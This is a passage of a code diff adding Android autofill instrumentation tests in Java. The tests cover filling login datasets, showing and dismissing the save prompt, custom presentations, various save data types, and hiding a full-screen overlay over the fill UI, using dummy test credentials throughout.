+        requestFocusOnUsername();
+
+        // Since this is a Presubmit test, wait for connection to avoid flakiness.
+        waitUntilConnected();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Make sure input was sanitized...
+        assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
+        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
+
+        // ...but labels weren't
+        assertTextOnly(fillRequest.structure, ID_USERNAME_LABEL, "Username");
+        assertTextOnly(fillRequest.structure, ID_PASSWORD_LABEL, "Password");
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        assertViewAutofillState(mActivity.getPassword(), true);
+
+        // Try to login, it will fail.
+        final String loginMessage = mActivity.tapLogin();
+
+        assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(AUTHENTICATION_MESSAGE);
+
+        // Set right password...
+        mActivity.onPassword((v) -> v.setText("dude"));
+        assertViewAutofillState(mActivity.getPassword(), false);
+
+        // ... and try again
+        final String expectedMessage = getWelcomeMessage("dude");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        assertThat(saveRequest.datasetIds).containsExactly("I'm the alpha and the omega");
+
+        // Assert value of expected fields - should not be sanitized.
+        assertTextAndValue(saveRequest.structure, ID_USERNAME, "dude");
+        assertTextAndValue(saveRequest.structure, ID_PASSWORD, "dude");
+        assertTextOnly(saveRequest.structure, ID_USERNAME_LABEL, "Username");
+        assertTextOnly(saveRequest.structure, ID_PASSWORD_LABEL, "Password");
+
+        // Make sure extras were passed back on onSave()
+        assertThat(saveRequest.data).isNotNull();
+        final String extraValue = saveRequest.data.getString("numbers");
+        assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+    }
+
+    @Presubmit
+    @Test
+    public void testAutoFillOneDatasetAndSaveHidingOverlays() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Bundle extras = new Bundle();
+        extras.putString("numbers", "4815162342");
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setExtras(extras)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Since this is a Presubmit test, wait for connection to avoid flakiness.
+        waitUntilConnected();
+
+        sReplier.getNextFillRequest();
+
+        // Add an overlay on top of the whole screen
+        final View[] overlay = new View[1];
+        try {
+            // Allow ourselves to add overlays
+            allowOverlays();
+
+            // Make sure the fill UI is shown.
+            mUiBot.assertDatasets("The Dude");
+
+            final CountDownLatch latch = new CountDownLatch(1);
+
+            mActivity.runOnUiThread(() -> {
+                // This overlay is focusable, full-screen, which should block interaction
+                // with the fill UI unless the platform successfully hides overlays.
+                final WindowManager.LayoutParams params = new WindowManager.LayoutParams();
+                params.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+                params.flags = WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
+                params.width = ViewGroup.LayoutParams.MATCH_PARENT;
+                params.height = ViewGroup.LayoutParams.MATCH_PARENT;
+
+                final View view = new View(mContext) {
+                    @Override
+                    protected void onAttachedToWindow() {
+                        super.onAttachedToWindow();
+                        latch.countDown();
+                    }
+                };
+                view.setBackgroundColor(Color.RED);
+                WindowManager windowManager = mContext.getSystemService(WindowManager.class);
+                windowManager.addView(view, params);
+                overlay[0] = view;
+            });
+
+            // Wait for the window being added.
+            assertThat(latch.await(5, TimeUnit.SECONDS)).isTrue();
+
+            // Auto-fill it.
+            mUiBot.selectDataset("The Dude");
+
+            // Check the results.
+            mActivity.assertAutoFilled();
+
+            // Try to login, it will fail.
+            final String loginMessage = mActivity.tapLogin();
+
+            assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(
+                    AUTHENTICATION_MESSAGE);
+
+            // Set right password...
+            mActivity.onPassword((v) -> v.setText("dude"));
+
+            // ... and try again
+            final String expectedMessage = getWelcomeMessage("dude");
+            final String actualMessage = mActivity.tapLogin();
+            assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+            // Assert the snack bar is shown and tap "Save".
+            mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+            final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+            // Assert value of expected fields - should not be sanitized.
+            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(username, "dude");
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "dude");
+
+            // Make sure extras were passed back on onSave()
+            assertThat(saveRequest.data).isNotNull();
+            final String extraValue = saveRequest.data.getString("numbers");
+            assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+        } finally {
+            try {
+                // Make sure we can no longer add overlays
+                disallowOverlays();
+                // Make sure the overlay is removed
+                mActivity.runOnUiThread(() -> {
+                    WindowManager windowManager = mContext.getSystemService(WindowManager.class);
+                    windowManager.removeView(overlay[0]);
+                });
+            } catch (Exception e) {
+                mSafeCleanerRule.add(e);
+            }
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillMultipleDatasetsPickFirst() throws Exception {
+        multipleDatasetsTest(1);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillMultipleDatasetsPickSecond() throws Exception {
+        multipleDatasetsTest(2);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
+    public void testAutoFillMultipleDatasetsPickThird() throws Exception {
+        multipleDatasetsTest(3);
+    }
+
+    private void multipleDatasetsTest(int number) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "mr_plow")
+                        .setField(ID_PASSWORD, "D'OH!")
+                        .setPresentation(createPresentation("Mr Plow"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "el barto")
+                        .setField(ID_PASSWORD, "aycaramba!")
+                        .setPresentation(createPresentation("El Barto"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "mr sparkle")
+                        .setField(ID_PASSWORD, "Aw3someP0wer")
+                        .setPresentation(createPresentation("Mr Sparkle"))
+                        .build())
+                .build());
+        final String name;
+
+        switch (number) {
+            case 1:
+                name = "Mr Plow";
+                mActivity.expectAutoFill("mr_plow", "D'OH!");
+                break;
+            case 2:
+                name = "El Barto";
+                mActivity.expectAutoFill("el barto", "aycaramba!");
+                break;
+            case 3:
+                name = "Mr Sparkle";
+                mActivity.expectAutoFill("mr sparkle", "Aw3someP0wer");
+                break;
+            default:
+                throw new IllegalArgumentException("invalid dataset number: " + number);
+        }
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are shown.
+        final UiObject2 picker = mUiBot.assertDatasets("Mr Plow", "El Barto", "Mr Sparkle");
+
+        // Auto-fill it.
+        mUiBot.selectDataset(picker, name);
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password).
+     */
+    @Presubmit
+    @Test
+    public void testAutofillOneDatasetCustomPresentation() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude",
+                        createPresentation("The Dude"))
+                .setField(ID_PASSWORD, "sweet",
+                        createPresentation("Dude's password"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        mUiBot.assertDatasets("The Dude");
+
+        // Then move around...
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("Dude's password");
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("The Dude");
+
+        // Auto-fill it.
+        requestFocusOnPassword();
+        mUiBot.selectDataset("Dude's password");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password) and the dataset itself, and each dataset has the same number of fields.
+     */
+    @Test
+    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
+    public void testAutofillMultipleDatasetsCustomPresentations() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder(createPresentation("Dataset1"))
+                        .setField(ID_USERNAME, "user1") // no presentation
+                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
+                        .setField(ID_PASSWORD, "pass2") // no presentation
+                        .setPresentation(createPresentation("Dataset2"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("user1", "pass1");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        mUiBot.assertDatasets("Dataset1", "User2");
+
+        // Then move around...
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("Pass1", "Dataset2");
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("Dataset1", "User2");
+
+        // Auto-fill it.
+        requestFocusOnPassword();
+        mUiBot.selectDataset("Pass1");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password), and each dataset has the same number of fields.
+     */
+    @Test
+    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
+    public void testAutofillMultipleDatasetsCustomPresentationSameFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
+                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
+                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("user1", "pass1");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        mUiBot.assertDatasets("User1", "User2");
+
+        // Then move around...
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("Pass1", "Pass2");
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("User1", "User2");
+
+        // Auto-fill it.
+        requestFocusOnPassword();
+        mUiBot.selectDataset("Pass1");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password), but each dataset has a different number of fields.
+     */
+    @Test
+    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
+    public void testAutofillMultipleDatasetsCustomPresentationFirstDatasetMissingSecondField()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
+                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("user2", "pass2");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        mUiBot.assertDatasets("User1", "User2");
+
+        // Then move around...
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("Pass2");
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("User1", "User2");
+
+        // Auto-fill it.
+        mUiBot.selectDataset("User2");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    /**
+     * Tests the scenario where the service uses custom remote views for different fields (username
+     * and password), but each dataset has a different number of fields.
+     */
+    @Test
+    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
+    public void testAutofillMultipleDatasetsCustomPresentationSecondDatasetMissingFirstField()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
+                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("user1", "pass1");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Check initial field.
+        mUiBot.assertDatasets("User1");
+
+        // Then move around...
+        requestFocusOnPassword();
+        mUiBot.assertDatasets("Pass1", "Pass2");
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("User1");
+
+        // Auto-fill it.
+        mUiBot.selectDataset("User1");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveOnly() throws Exception {
+        saveOnlyTest(false);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveOnlyTriggeredManually() throws Exception {
+        saveOnlyTest(false);
+    }
+
+    private void saveOnlyTest(boolean manually) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger auto-fill.
+        if (manually) {
+            mActivity.forceAutofillOnUsername();
+        } else {
+            mActivity.onUsername(View::requestFocus);
+        }
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNoUnhandledSaveRequests();
+        assertThat(saveRequest.datasetIds).isNull();
+
+        // Assert value of expected fields - should not be sanitized.
+        try {
+            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(username, "malkovich");
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "malkovich");
+        } catch (AssertionError | RuntimeException e) {
+            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    public void testSaveGoesAwayWhenTappingHomeButton() throws Exception {
+        saveGoesAway(DismissType.HOME_BUTTON);
+    }
+
+    @Test
+    public void testSaveGoesAwayWhenTappingBackButton() throws Exception {
+        saveGoesAway(DismissType.BACK_BUTTON);
+    }
+
+    @Test
+    public void testSaveGoesAwayWhenTouchingOutside() throws Exception {
+        saveGoesAway(DismissType.TOUCH_OUTSIDE);
+    }
+
+    private void saveGoesAway(DismissType dismissType) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Then make sure it goes away when user doesn't want it..
+        switch (dismissType) {
+            case BACK_BUTTON:
+                mUiBot.pressBack();
+                break;
+            case HOME_BUTTON:
+                mUiBot.pressHome();
+                break;
+            case TOUCH_OUTSIDE:
+                mUiBot.assertShownByText(expectedMessage).click();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
+        }
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveOnlyPreFilled() throws Exception {
+        saveOnlyTestPreFilled(false);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveOnlyTriggeredManuallyPreFilled() throws Exception {
+        saveOnlyTestPreFilled(true);
+    }
+
+    private void saveOnlyTestPreFilled(boolean manually) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Set activity
+        mActivity.onUsername((v) -> v.setText("user_before"));
+        mActivity.onPassword((v) -> v.setText("pass_before"));
+
+        // Trigger auto-fill.
+        if (manually) {
+            // setText() will trigger a fill request.
+            // Waits the first fill request triggered by the setText() is received by the service to
+            // avoid flaky.
+            sReplier.getNextFillRequest();
+            mUiBot.waitForIdle();
+
+            // Set expectations again.
+            sReplier.addResponse(new CannedFillResponse.Builder()
+                    .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                    .build());
+            mActivity.forceAutofillOnUsername();
+        } else {
+            mUiBot.selectByRelativeId(ID_USERNAME);
+        }
+        mUiBot.waitForIdle();
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("user_after"));
+        mActivity.onPassword((v) -> v.setText("pass_after"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("user_after");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.waitForIdle();
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNoUnhandledSaveRequests();
+
+        // Assert value of expected fields - should not be sanitized.
+        try {
+            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(username, "user_after");
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "pass_after");
+        } catch (AssertionError | RuntimeException e) {
+            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveOnlyTwoRequiredFieldsOnePrefilled() throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Set activity
+        mActivity.onUsername((v) -> v.setText("I_AM_USER"));
+
+        // Trigger auto-fill.
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before changing value, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver();
+
+        // Set credentials...
+        mActivity.onPassword((v) -> v.setText("thou should pass")); // contains pass
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("I_AM_USER"); // contains pass
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        sReplier.assertNoUnhandledSaveRequests();
+
+        // Assert value of expected fields - should not be sanitized.
+        try {
+            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+            assertTextAndValue(username, "I_AM_USER");
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "thou should pass");
+        } catch (AssertionError | RuntimeException e) {
+            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveOnlyOptionalField() throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME)
+                .setOptionalSavableIds(ID_PASSWORD)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword(View::requestFocus);
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(username, "malkovich");
+        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+        assertTextAndValue(password, "malkovich");
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveNoRequiredField_NoneFilled() throws Exception {
+        optionalOnlyTest(FilledFields.NONE);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveNoRequiredField_OneFilled() throws Exception {
+        optionalOnlyTest(FilledFields.USERNAME_ONLY);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testSaveNoRequiredField_BothFilled() throws Exception {
+        optionalOnlyTest(FilledFields.BOTH);
+    }
+
+    enum FilledFields {
+        NONE,
+        USERNAME_ONLY,
+        BOTH
+    }
+
+    private void optionalOnlyTest(FilledFields filledFields) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD)
+                .setOptionalSavableIds(ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        final String expectedUsername;
+        if (filledFields == FilledFields.USERNAME_ONLY || filledFields == FilledFields.BOTH) {
+            expectedUsername = BACKDOOR_USERNAME;
+            mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+        } else {
+            expectedUsername = "";
+        }
+        mActivity.onPassword(View::requestFocus);
+        if (filledFields == FilledFields.BOTH) {
+            mActivity.onPassword((v) -> v.setText("whatever"));
+        }
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage(expectedUsername);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        if (filledFields == FilledFields.NONE) {
+            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+            return;
+        }
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(username, BACKDOOR_USERNAME);
+
+        if (filledFields == FilledFields.BOTH) {
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "whatever");
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testGenericSave() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_GENERIC);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSavePassword() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveAddress() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_ADDRESS);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveCreditCard() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveUsername() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_USERNAME);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveEmailAddress() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_EMAIL_ADDRESS);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveDebitCard() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_DEBIT_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSavePaymentCard() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_PAYMENT_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveGenericCard() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_GENERIC_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveTwoCardTypes() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD | SAVE_DATA_TYPE_DEBIT_CARD,
+                SAVE_DATA_TYPE_GENERIC_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveThreeCardTypes() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD | SAVE_DATA_TYPE_DEBIT_CARD
+                | SAVE_DATA_TYPE_PAYMENT_CARD, SAVE_DATA_TYPE_GENERIC_CARD);
+    }
+
+    private void customizedSaveTest(int type) throws Exception {
+        customizedSaveTest(type, type);
+    }
+
+    private void customizedSaveTest(int type, int expectedType) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final String saveDescription = "Your data will be saved with love and care...";
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(type, ID_USERNAME, ID_PASSWORD)
+                .setSaveDescription(saveDescription)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
